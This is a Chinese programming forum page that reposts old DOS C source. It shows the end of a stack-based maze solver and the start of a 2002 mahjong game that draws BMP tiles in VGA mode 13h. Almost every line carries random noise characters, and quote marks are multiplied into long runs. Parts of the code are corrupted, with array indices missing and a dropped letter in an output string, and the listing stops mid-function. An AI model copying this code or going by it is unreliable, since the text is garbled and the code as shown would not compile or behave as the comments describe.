. {6 R/ d" U# U* Q$ z: I( t} /* Pass */7 a' c/ x  A' _+ o' X5 o$ H1 T
void MarkPrint(PosType seat)
% A; C& M# s4 ]8 j* t/* Mark the position seat. */% A; N* [% d" V( b6 N' t5 ~$ }
{
6 `# Q: {4 Y) s9 _# g6 Vmaze[seat.x][seat.y].mark=-1;, H: E6 i7 f$ n
/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */" c( ~9 o; c; R+ ]# `  k& _6 N
} /* MarkPrint */
0 S  j4 A0 u0 P. avoid FootPrint(PosType curpos)6 y1 |' U9 M9 R/ m
/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */
9 I- l+ _. @- Y* }/ l{) T% K$ M2 j6 |7 ?/ {
maze[curpos.x][curpos.y].foot=1;4 {9 o" L# A# x- r6 |# x" D
} /* FootPrint */9 K' ~1 I9 {! X! h5 l, B
PosType NextPos(PosType seat,int di)
1 y! b1 ~$ e% z; O{* z2 G1 A1 M; T+ e) L  V* e
switch(di)
+ Q' t+ F3 m0 D{
& U3 }1 x; c/ a: G1 e3 L, Qcase 1: seat.y++; return seat; /* Eastward */
2 E  \, }" X$ P7 `, V4 Icase 2: seat.x++; return seat; /* Southward */
5 O& X+ s# R+ \% k8 w$ `* ecase 3: seat.y--; return seat; /* Westward */  l" h% c# ~6 V, [8 E! x
case 4: seat.x--; return seat; /* Northward */6 J) c0 y% G+ }! ~
default: seat.x=0; seat.y=0; return seat;
# Y' m9 z( `; W1 c" r6 n6 F( l4 ]}/ y" h, \. a# d
} /* NextPos */# |5 e1 }2 S, k4 W  a; o
3 X) S9 T3 P) e) B% C" @
/* The key to the program. */
$ m. C- ?& b* {6 R& _/* Pre: The maze array &amp; the startplace &amp; the endplace.
# S5 z) d7 ]# K, SPost: Find the one traverse of the maze and perform the mazepath.9 z: a/ _' P" [0 F
Uses: The ADT stack class.
' N9 J* T, }  o( P' K*/
9 f! |" s0 y) j, w+ f) AStatus MazePath(PosType start,PosType end)8 s; g6 u% w6 A7 [% c. D0 V4 g
{
  V% S5 Z; |7 T3 i* P: x: [PosType curpos;
5 e, u" d5 B. W$ I6 k9 i4 `int curstep;
  I% R! R  }! L9 l( [5 n& BSElemType e;
) H; F9 d& {, s0 e. }9 GStack *s,stack;% _% x* X7 W5 K3 c" W
stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
7 l. _9 g! w8 ~. w) U4 Wif(!stack.base) Error("Overflow");) c7 T, ?: H5 _) I7 _
stack.top=stack.base;
& b8 O' r& c  i3 I4 w$ Kstack.stacksize=STACK_INIT_SIZE;( V) z! Z& I6 p, ~4 G) |  L! t4 Z
s=&amp;stack;
. I5 A& `. T4 P3 d7 \+ pcurpos=start;
& W/ w4 }  b1 d2 \7 _curstep=1;
9 O/ ^8 m$ o& _9 ]9 ]do/ I- F3 ^, @: i9 g  ?
{
3 C8 Q- t* G. G8 Q4 `if(Pass(curpos))
: [% h. Z' l4 t{2 C5 b6 e+ w9 u' t# m
FootPrint(curpos);
- p& P; o  s! \+ re.ord=curstep; e.seat=curpos; e.di=1;: R: a3 V% _" O% B' r  o  @
gotoxy((curpos.y+1)*2,curpos.x+2);/ C0 F: _8 C" ~
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
4 V8 L# q- o! `& \delay(8000); /* pospone time. */
* N1 D$ E* v% D+ U9 K$ fPush(s,e);
& t9 w. b3 E( Q# ?' s' \8 H: W7 Gif(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */2 T  P; {9 p; O9 G; A2 t
{& ~3 A( x! h/ m
DestroyStack(s);3 p3 I8 p1 H, m, g8 A! U" q
return TRUE;' N/ R- [" @; Y3 p; _
}; _, L. u1 k( L4 T# n; q  A% `
curpos=NextPos(curpos,1); /* Try next position. */* s  D# d# l. s: v9 z; \
curstep++;
" i; K0 \- ~  f( J}) w2 ^! Z6 b! {' I& F! K) {
else3 M9 e9 a, I0 W( ?. m
{
% F1 i& [" [9 G0 Z9 B) aif(!StackEmpty(s))3 L! p2 c7 h0 {2 g+ q
{. k5 J7 W2 r- f4 Q
e=Pop(s,e); /* Removed e from s. */
3 W; o4 k0 q  F. y- f, Swhile(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked! O" G( S% m* q# H5 l: U' ?
and s is not empty. */
8 F% G( ?+ Q4 g8 S" R. y{
: S! |+ L: F4 kMarkPrint(e.seat);
+ L2 s+ P- w. |! h: v, R+ Mgotoxy((e.seat.y+1)*2,e.seat.x+2);
: L, P3 a- o, l% w; S5 Vputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');& m7 Q) p* d9 H% b' Q0 v5 c, Q
delay(8000); /* Pospone time. */
* U- A; r: b# q  V. L+ ~gotoxy((e.seat.y+1)*2,e.seat.x+2);
$ o7 |/ X* B( Dputch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');2 W$ p4 T; B; a  b
e=Pop(s,e); /* Remove e from s. */' O, H, p. u; u6 c( s8 ^" y
curstep--;% z+ v% `  a7 ]4 [+ [2 z
}
* w. I7 q  M; `% z4 Kif(e.di&lt;4) /* The current position hasnot been checked. */
+ {9 Z+ ^5 K  [" I7 X8 k/ F{; R. Q1 @! H0 j: d# b
e.di++;
3 ^6 m. K: D. u$ [+ T, t0 TPush(s,e); /* Insert e into s. */3 d( W% s3 y, g. z8 Z
curpos=NextPos(e.seat,e.di); /* Try next position. */. I& r6 r" C: d) b$ z6 b
}
  `& q1 N/ }9 k! D( V}
; g; \) e. @2 D- z0 t' {}
6 h; c' ?0 e$ c& W}
8 g, B# s0 U7 ~+ N, O8 |while(!StackEmpty(s));: @, r# C+ O5 m9 a% E" ~2 }, r
DestroyStack(s);
7 B$ b3 P! g! Y9 {return FALSE;" n2 \" x$ ^$ U. b7 m7 I3 S
} /* MazePath */- @+ M+ O7 F$ M7 y4 l2 h
void main()
! ~# q$ M& g7 @* P( f{4 ?$ e7 m/ ]  W$ i0 H  T
PosType start,end;: R& E* Q1 y8 l6 V4 y0 q8 R% ^# L
CreatMaze();
- k0 f8 H+ l8 b) y/ ]5 Jstart.x=StartPlace.y;
7 q! e' I* O% u) Y* A1 ?% Tstart.y=StartPlace.x;
# W! }2 C' K6 f9 d/ cend.x=EndPlace.y;
4 c& h4 e) j3 o" C+ @% a3 Y8 _end.y=EndPlace.x;0 q3 d5 d; z; ?& h1 P
if(MazePath(start,end)). Y7 C- k" g$ y( B: k% R
{6 Q0 C, I1 m' |4 u# t
gotoxy(2,22);
# P& u) {6 V# f% Mprintf("ath found\n");
' V3 }8 _% ~: H, g! Y$ b7 ^}
) O2 x( J  C. @9 celse
% n: R( c# u- S' @{- j, e6 i% k) b+ ?# r( \
gotoxy(2,22);  P1 P; w5 j8 L( ^: H* J
printf("ath not found\n");: q, L" ~  b2 |  b
}
9 b2 V& p& M! R$ C2 q9 u) R9 |getch();
# E- m0 d4 t+ X3 W7 Rclrscr();
' \$ ?/ P; q/ Q6 t4 B} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
4 G5 `* Z% X4 C+ ?0 J/*天宇软件
$ c: L% g# ^5 g0 x  T作者:上海黑暗之龙
1 v6 ~6 h0 ?4 r* I9 X) U2002/10/309 g3 F0 P$ P' a2 s2 U/ `; W0 `
麻将原代码*/
$ H+ R7 l4 ^1 t% k! o#include "dos.h"- u7 I: Q  E: L, P- F! D- s
#include "stdio.h"
# I0 \0 W- j' W5 H$ n#include "graphics.h"
& |) c( g8 W! w% r6 v#include "bios.h"
0 \/ c, r! ?# ^  R6 D( ]#include "conio.h"
1 ~0 O+ ]; u- o/ v) X. v) k#include "stdlib.h"
7 K+ o5 Q  I( R9 U9 yunsigned char far *video_buffer=(char far *)0xA0000000L;
' r4 z+ T. \( F% D0 T#define VGA256 0x13 /*图形模式13h*/
3 g6 s9 J2 P# B8 n: {#define TEXT_MODE 0x03 /*普通文本模式*/
# O! \2 K2 E" [2 e7 x#define SETVGA Set_Video_Mode(VGA256)' l& N2 q" N) F# L6 J
#define OUTVGA Set_Video_Mode(TEXT_MODE). z5 `' z7 n) w7 m* J
#define BYTE unsigned char5 I" K+ `, W' t) I+ F
#define WORD unsigned int( v( ~# ?, k. A" [. u4 g
#define DWORD unsigned int2 j- M0 q; r8 |9 Z( J  M
#define ESC 283. P0 g. b4 z+ _4 A2 s
#define LEFT 19200
; @, y8 M5 o% C$ h#define RIGHT 19712# r( s3 A4 n3 J
#define H 9064
6 L6 p% x6 ?4 Y% }( N" t( i#define ENTER 71813 S: Y8 q  S* N* \% Z
unsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;& W& U" P, R2 n, m
int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;$ ]  A# b8 q: @1 r" S) z$ f# r
struct chi
9 n5 P6 q0 `! l{
$ ]" y+ q5 N8 O6 Y) W+ Vint lg;
+ M5 ?  d. b2 bint lgg;
1 [& s% P! ~. _- l" Z7 |  T' O}ch[13];! h7 ]3 X, q' _+ Z/ y5 ]4 h
struct mj
3 H. M9 q# Z& v! ^$ E{ char *name; /*名字*/
. u7 I, o3 }  A$ n& o. A. uint data1; /*是否已出,无用了*/
* H$ B' I6 v; t- ^int data2; /*是否在手中,1为自己,2为对方*/
. z8 ^4 W8 ~- p6 Z1 t+ _+ hint number; /*同一个花色的第几张,共4张*/
  G# s  p: Q+ E  H* Y: d}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,) U9 e1 n& U# I
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,4 y& ~7 F# ~. w2 g
"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,% D% F9 ]/ X/ ~
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,; Y- I9 y* A+ Z. E  i; b
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,
' }) ^) }3 ~! j5 t+ M"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
, b' x2 P& ]6 K1 Z/ C. k2 I"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,: ?3 @4 x2 S* b6 F6 W7 g
"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
, c& r! ?% ]' ~1 r"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,& h) c1 z6 c4 j2 |" I
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,( S* R- u( \2 k0 u; @+ H1 N
"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
% C* r" @- R( b; ~"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,6 [& s# m+ J: n; W, O
"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
9 F; P  \& w- ?' `8 l# C"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
9 a9 `, l9 ]8 j# g# o7 _" p"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
! Z0 g+ X. z# e2 l"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,, O; V" z3 F. L; D8 r' v
"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
* y' _+ S, ^4 _' N* O$ {8 F* R, W"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
/ G- T# ?' D7 S"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
+ z1 N1 H& J+ X" X: f4 q"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,
5 {7 Z& }7 E5 a4 H9 C- e6 V0 h"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
( h& p& M; R' x9 Y& u"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
, S8 u' s. P2 F& s6 m"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,( O  [2 ]+ h+ T% f, R6 p
"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,
2 p* }7 Q+ @; f- ^) ~"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,3 @7 D0 r" X$ r, t% M
"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
) |: S4 ^. c7 a) m6 e* v0 q"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,
8 i- E/ h4 |/ z% f4 }& N"34.bmp"};# w3 n- a* P* H. ~! Y, H, i
struct every
, g8 g" x" Z2 n; D6 t, ]{ int *k; /*名字*/! K7 f& y0 H7 y" ?' Z5 O0 N: O
int oneorfour; /*同一张牌的第几张*/
5 W" R( L5 t" z, @, e! Fint number; /*第几张牌136*/  u1 b5 b  s2 M& E3 x0 c& j
int p;' _& h. |! U/ o  ^: C: Z) ~" V/ u* `) u
int g;
7 T% a2 k' w5 }, S$ rint c;  j4 O6 {, a% ^0 Q3 _
int d[2];
  Y4 X7 K. x0 |/ c};
+ F3 q% Y0 x& b0 Q6 Y5 `/ Pstruct me- ~/ M/ C4 u$ c& {+ }
{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/. L1 Y" U: d$ M9 G( e
int p; /*乓对方*/; w. ~9 \2 @* ^% ~6 [
int c; /*吃对方*/8 n) v3 g1 ^& Z& c
int g; /*杠*/
9 }$ ]0 q! B3 H5 ^% j7 `$ ?: I1 d0 O2 o: m
struct every pp[14]; /*存放手上的牌*/
: N1 n) |# M8 e8 q- k}me;
6 n6 r+ m  [' k4 B5 @struct computer
/ L9 {+ f+ X8 F8 ]  ?" w# L& ]{ int m;
  z9 l$ X& A, h3 u) j1 uint p;
! R) c8 C* P: Q$ e6 t! ~  r0 Rint c;. ?$ _$ f* |2 U6 f* \. |: e
int g;7 g9 Z2 I& D9 Q0 n: k; f/ g
struct every pp[14];
5 t! Z  P6 \! U# X}computer,comp;
( ?( I  b# ^4 G9 h! s4 a! z, M. w2 j* N, a
/* 设置调色板 */
" U9 w5 q! E6 l9 z* [void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)
9 P( F) v  j4 i: [3 M7 @! D{
! ]" z1 _' [5 \2 c7 {& C! poutportb(0x3c8,Color); /*0x3c8写端口 写色号*/
$ J- b4 {; q" d8 ]4 z& Doutportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/) t' `, f% P& {. ^* ^' u
outportb(0x3c9,g);, m9 n) }, d1 D; E
outportb(0x3c9,b);
3 r. R9 w! l# p: R}% `  ?7 y7 Y" D% [
/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
- P8 O* h. M3 w# y5 Q4 ]) r' J/* 设置显示模式的函数 */; k& K9 X( n8 V  k; S+ \4 ]
void Set_Video_Mode(int mode)
& T0 q7 w; s$ e9 H! }8 U{
3 Z- o! p% N+ }3 _% W7 punion REGS inregs,outregs; /*定义输入和返回寄存器*/
, E# u6 @3 n/ I: Q# ~7 T' Xinregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/) o- ~7 N) a0 `" F6 P: V; L
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
2 J1 H0 B4 `6 ~# Y$ lint86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/, H8 X0 R) Y% ~0 r: Z2 t
}
& A# Q" Q2 A) V- O$ `void v_line(int y0,int y1,int x,unsigned int color). M9 V- j. u0 R. @! h7 R% [8 [- S$ w! A, D
{ unsigned int address,n,temp;: z% ]* V( z; W- h+ I6 u6 t
if(y0&gt;y1)
& K; _7 k" _5 r" f0 ]& B0 L{
5 {! ^; K) ?) y; k7 ~temp=y1;% P* i2 ?+ f; T) _7 m' V
y1=y0;
; m1 y) G4 Y  b' t; Yy0=temp;$ }2 p3 J' U, m4 \4 a
}
0 R0 C1 ~$ ~; n0 F  B+ \6 N/ saddress=320*y0+x;9 D% V- N9 n! [4 y$ y1 v! U
for(n=0;n&lt;=y1-y0;n++)
2 e4 o. W: j7 ]& D, k0 A8 `* Y{
4 X2 e& f" t: p& J; @, \video_buffer[address]=color;
. n+ ~9 r  ]4 r/ Baddress+=320;, l) z8 h9 p5 W) B
}, Q/ \" `+ K. o7 _$ ?# g
}6 R+ P: S( I( w; q. Q% ]8 p2 E
void h_line(int x0,int x1,int y,unsigned int color)
* E# H% `0 P+ _( s{ unsigned int address,n,temp;
$ j( j7 [) [! K& [0 pif(x0&gt;x1)7 p$ ?. Q+ D/ Q
{1 q5 A& k. n+ Y) K8 w- Q5 o
temp=x1;
4 [  z7 y6 B5 i' M$ v- p4 Kx1=x0;
0 L: n% C( b4 R  }0 rx0=temp;
' `9 F7 j  x7 }  S! k' _}
; ^' `9 @$ D4 u+ x; {& r; O( [address=320*y+x0;' f& _% P" P3 ~& |# A
for(n=0;n&lt;=x1-x0;n++)3 }  Y' a; S  ?( i# c3 ?5 [) ?
{
# R9 B5 h. W8 d2 v8 Z5 g/ ivideo_buffer[address]=color;
: X2 R( ^, Y% }* f8 |address+=1;
) k& ]0 [; v4 d  Q: J}
8 u# ]$ V9 y& J1 A* }: E}
) p1 X3 D7 @% I7 ?, dvoid p_pixel(int x,int y,unsigned int color)
  J8 X. [, a3 ~" B. n{ video_buffer[y*320+x]=color;
( i. R* m; F5 V  n2 Z}1 h' U) u. _! X+ B
void s_square(int x,int y,int side,int color)
  w. D  ]: M4 M+ Z' N$ W* @{4 A/ ?" y, T# |# z4 |9 B( i% l
h_line(x,x+side,y,color);
/ z0 i( T( X2 L" j; n, `$ c9 lh_line(x,x+side,y+side,color);
# a' O& y+ j) M$ Hv_line(y,y+side,x,color);' C$ [. L% l7 t
v_line(y,y+side,x+side,color);2 ?. Z. p( b& z
}, P; S8 ~( K! l* ?- m9 u
void r_rectangle(int x1,int y1,int x2,int y2,int color)
+ }3 V! b) a* j  [. |: _" e{
) V& u5 w+ b6 S6 l, I1 U' Mh_line(x1,x2,y1,color);
4 g3 K6 U7 R7 t8 n2 G( wh_line(x1,x2,y2,color);
% o7 J, Y5 I  y( C! Gv_line(y1,y2,x1,color);
* n8 N  z' ]. s# i$ H6 |$ Mv_line(y1,y2,x2,color);% _8 `9 K2 F+ [; e0 Y+ u- p) S
}7 e4 P; Q, X, r- T
void fillRectangle(int x1,int y1,int x2,int y2,int color)* i8 w6 D! t; O6 N
{
; X3 }$ H8 K. e. Aint i;* u" k. y9 n! W' `
for(i=y1;i&lt;=y2;i++)
- @& G$ W2 y( K$ d5 X. M{& S, x! U, c9 s# P% r; c& V
h_line(x1,x2,i,color);  f! [# [. h) |7 ^1 I
}
+ V0 K3 z" O$ s}
" e5 z& M  B# [" u) r2 bvoid showbmp(int l)1 z" `; r# v9 o0 I
{ FILE *bmp;0 C5 ~/ o5 z  O3 h
int i,x,y;$ u) f2 q7 n: N8 e' _" ]
BYTE palette[256][3];
3 c: E5 N1 b* k% a9 `4 ]9 abmp=fopen(me.pp[l].k,"rb");
  v  C& J7 Z; X- Hfseek(bmp,54,SEEK_SET);* Q  S. g' ]1 k& q. x
for(i=0;i&lt;256;i++)
6 o, I! O7 E2 W0 O4 W{3 W$ d2 ^9 T2 v9 d: M9 b$ U! f
palette[2]=fgetc(bmp)&gt;&gt;2;
% {4 m2 D! L: ?/ p5 C: G5 ipalette[1]=fgetc(bmp)&gt;&gt;2;4 y. h$ K2 R) h0 T
palette[0]=fgetc(bmp)&gt;&gt;2;
3 D+ G  m# e5 g$ yfgetc(bmp);
, g! \8 q# N2 E) F# P+ @Set_Palette(i,palette[0],palette[1],palette[2]);
" U7 i# T7 C, y/ |}/ y# O5 z7 [, S* G! J; [; O1 U3 R  V
for (y=0;y&lt;30;y++)
8 |; Y7 I) H% v) `. Y9 ufor(x=0;x&lt;20;x++)8 Q" H- G6 ^3 f% K* g2 ^; e
pokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
3 {* E/ e1 {5 h7 A& b: _fclose(bmp);
) E) l0 V! Y4 s% w; T}
+ p- L- w$ ^/ Z" kvoid showbmpd(int l)
( y& J% t2 d% B4 @9 u+ H! W. I) @2 F; ]{ FILE *bmp;- F+ [1 l3 |0 l) I
int i,x,y;2 W# V( z4 }( w9 O' B
BYTE palette[256][3];
4 l8 z# g" c/ w  R, N* X4 Dbmp=fopen(me.pp[l].k,"rb");
- I& c$ d/ w& F4 U/ Wfseek(bmp,54,SEEK_SET);3 P# M% V; u6 L, K  A% |  e
for(i=0;i&lt;256;i++)4 k! n" z+ r+ @( A. e% Z6 K
{
$ ^- ?2 D0 x, `# u& O: |9 Y# A% `palette[2]=fgetc(bmp)&gt;&gt;2;9 E0 O( i! a9 ^. _8 ^# N) }
palette[1]=fgetc(bmp)&gt;&gt;2;
( O1 S" \& O$ c1 `$ J5 P2 s6 {8 F9 vpalette[0]=fgetc(bmp)&gt;&gt;2;1 m4 D. \4 Z# m* s
fgetc(bmp);
& \8 X* Z* {. q. a  p% w4 t0 mSet_Palette(i,palette[0],palette[1],palette[2]);
+ ?; a8 L, l- {+ k}, u8 m* _+ D3 {* z: L9 S) S2 L
for (y=0;y&lt;30;y++)/ N+ ~( h7 F4 u: u. J
for(x=0;x&lt;20;x++)
9 D' N/ n' ^* W. d3 i. Mpokeb(0xa000,y*320+x+zyy,fgetc(bmp));
+ C6 z% G3 x' M. I2 t5 G* j6 x  Sfclose(bmp);% p% e- T1 b: p. u7 w' |* g: w
}
. f" G: h. L1 k$ b2 u- wvoid showybmp(int ll)3 Z- C! `6 _) a8 D) M( |: T/ v
{ FILE *bmp;
: w- P2 {; a- R+ y3 g- U5 g' r( hint i,x,y;8 c; G1 U' M9 o
BYTE palette[256][3];
+ l+ a# T5 L$ Z& u( j$ a; cbmp=fopen(computer.pp[ll].k,"rb");% ]* U# W9 D/ j' m# L$ D% [
fseek(bmp,54,SEEK_SET);
- K9 V& Q2 Q5 e& nfor(i=0;i&lt;256;i++)' q8 g+ ~: ]8 E+ ^, A8 I* U6 U
{
" o  E1 ~" p$ Jpalette[2]=fgetc(bmp)&gt;&gt;2;! `7 v, X8 R0 Q; t4 H
palette[1]=fgetc(bmp)&gt;&gt;2;: Z# z5 B7 |/ s+ g0 j
palette[0]=fgetc(bmp)&gt;&gt;2;2 l( V, L' W! ~8 E9 q
fgetc(bmp);6 x9 M" c1 I4 C
Set_Palette(i,palette[0],palette[1],palette[2]);7 m) e: _" |2 l1 Q
}
6 v8 F4 U7 d% a0 @3 w, d! a& i1 Cfor (y=0;y&lt;30;y++)+ Y2 f; @2 U7 p2 m, D; t- B8 D2 }
for(x=0;x&lt;20;x++): }7 v+ b( z" ]" H1 M
pokeb(0xa000,y*320+x+zy,fgetc(bmp));
. Z1 I; c+ \! n1 v2 g0 {6 ~fclose(bmp);, J. H2 H( V( C( H
}: [3 L1 _! R9 ?" `, e9 Z2 i, n
void showcbmp(int ll)
7 f3 x' r3 {0 d3 ~' {- K4 G( P2 b{ FILE *bmp;. Z. z+ \' [( o4 b6 w4 i- L3 i2 C7 s
int i,x,y;) W: p3 t9 T4 }
BYTE palette[256][3];6 o1 J. f/ V3 C2 \
bmp=fopen(computer.pp[ll].k,"rb");
1 S/ o8 V2 C0 e/ c  R; @fseek(bmp,54,SEEK_SET);
; \* x- y- j* Z4 ^6 C6 Zfor(i=0;i&lt;256;i++)6 ~* o5 K  |4 m  L! C' F" V
{( u& I2 p( i! Y
palette[2]=fgetc(bmp)&gt;&gt;2;' R5 Z& n3 Z) m0 E7 p+ R7 F9 B
palette[1]=fgetc(bmp)&gt;&gt;2;
( H8 u% \6 l8 \1 |palette[0]=fgetc(bmp)&gt;&gt;2;
: i3 J" ], e7 O  ]+ T6 S# v8 Mfgetc(bmp);8 W7 R$ T: D& r4 z0 U
Set_Palette(i,palette[0],palette[1],palette[2]);
) w+ X6 Z2 H+ }& d" x}
5 R+ _* A5 J$ T: [for (y=0;y&lt;30;y++)
; n& ~: T1 d1 L; N7 p* B$ Jfor(x=0;x&lt;20;x++); d6 ?0 _- w3 z1 n& o( J
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));: S# n3 K5 W5 w* H/ s; M6 O
fclose(bmp);
- t, W% ]+ H3 b8 ~7 W}, l3 D* H$ R6 V6 ^$ K
void bmpp(int number)
) w( e2 \! a. {6 Z2 w{ FILE *bmp;& S) W$ Y" k2 ^" ~% q, l
int i,x,y;
" g* V( y5 O* n" a5 `) eBYTE palette[256][3];+ @! u: m5 B% ?1 w' R8 `
bmp=fopen(m[number].name,"rb");
) F, L% Z7 w  y. Xfseek(bmp,54,SEEK_SET);9 ]3 [. m' v0 u' l3 g) G5 N
for(i=0;i&lt;256;i++)
. F% K- z5 g! M0 f{
& |1 y$ g0 t$ o' @. Ppalette[2]=fgetc(bmp)&gt;&gt;2;
7 ?. M/ M9 y; \" C8 z( a" qpalette[1]=fgetc(bmp)&gt;&gt;2;
9 K9 H" O! y$ B, j5 B' lpalette[0]=fgetc(bmp)&gt;&gt;2;& N; X3 g  n6 S" }* \
fgetc(bmp);( R0 ]" k" c9 G0 X+ A6 ]; A
Set_Palette(i,palette[0],palette[1],palette[2]);
! X' V( ]# \2 }8 E9 M7 e: c5 e% E}& @; W' U, c7 j, b3 h# O
for (y=0;y&lt;30;y++), ]0 ^6 m: h1 A5 M$ X5 m7 \% Q8 k
for(x=0;x&lt;20;x++)3 H) i4 ~9 Y& w4 ~7 K$ A0 C
pokeb(0xa000,y*320+x+zl,fgetc(bmp));
6 r- d5 e- c6 `' I2 _; Q* gfclose(bmp);% }+ B7 e: W# N  J$ g
}, w: f( Z% e" q+ f3 y
void comlipai() /*整理电脑的牌*/
6 z* J/ N6 e* E( Q  ?+ v( S1 J0 Q{ int n,j,u;. A: {1 w% {* Y: T, ~
int *lingshi;
( w( j4 |8 s, {$ `* c; i* [for(n=0;n&lt;computer.m;n++)  z4 }) q! ~6 c
for(j=n;j&lt;computer.m;j++): \7 Y, C; y, \) T* v7 x
{
# ~% Q0 r5 G2 v2 R* P5 Y3 hif(computer.pp[n].number&gt;computer.pp[j+1].number)
$ B) Z5 b9 U6 b( i+ e4 z  O4 O2 W{7 |3 b  ~) N: T% v" }* m$ r" B
lingshi=computer.pp[n].k;
8 E/ P3 i) \3 _$ icomputer.pp[n].k=computer.pp[j+1].k;
2 H, N9 I9 E4 p4 T) Ycomputer.pp[j+1].k=lingshi;8 o7 t# ]$ O/ l2 k9 X) u5 d' Z
u=computer.pp[n].oneorfour;0 ]  A' p0 R3 t9 p$ B# D( S& \
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;' a% S% F) v  ^5 C1 u( ?- W+ V
computer.pp[j+1].oneorfour=u;
( j9 f8 _# y0 z  D  t4 \u=computer.pp[n].number;+ q# h# ~6 _' D+ J% f9 K
computer.pp[n].number=computer.pp[j+1].number;( _- [1 c& C7 V9 O7 G
computer.pp[j+1].number=u;; }1 t/ |+ ]  W) O# ^) P' S  @1 V
}
' G/ J& I4 R- belse
. T9 _2 @* O' O; `  V  S6 x& Gif(computer.pp[n].number==computer.pp[j+1].number)
6 e1 U7 A6 b% Zif(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)
2 }2 ?9 I0 H- o{) n7 q  K) z" _' K, P6 c
lingshi=computer.pp[n].k;
" ^/ D& O! \# I  m5 p4 e3 acomputer.pp[n].k=computer.pp[j+1].k;
1 Y- o$ D/ F) n2 M$ Xcomputer.pp[j+1].k=lingshi;8 ^- J  x0 b! `" {  }
u=computer.pp[n].oneorfour;$ _- M3 h  t5 z, O- ~  |) Z
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;& @, f- S( \+ {4 z4 q
computer.pp[j+1].oneorfour=u;
$ J  ]6 Z0 w' fu=computer.pp[n].number;
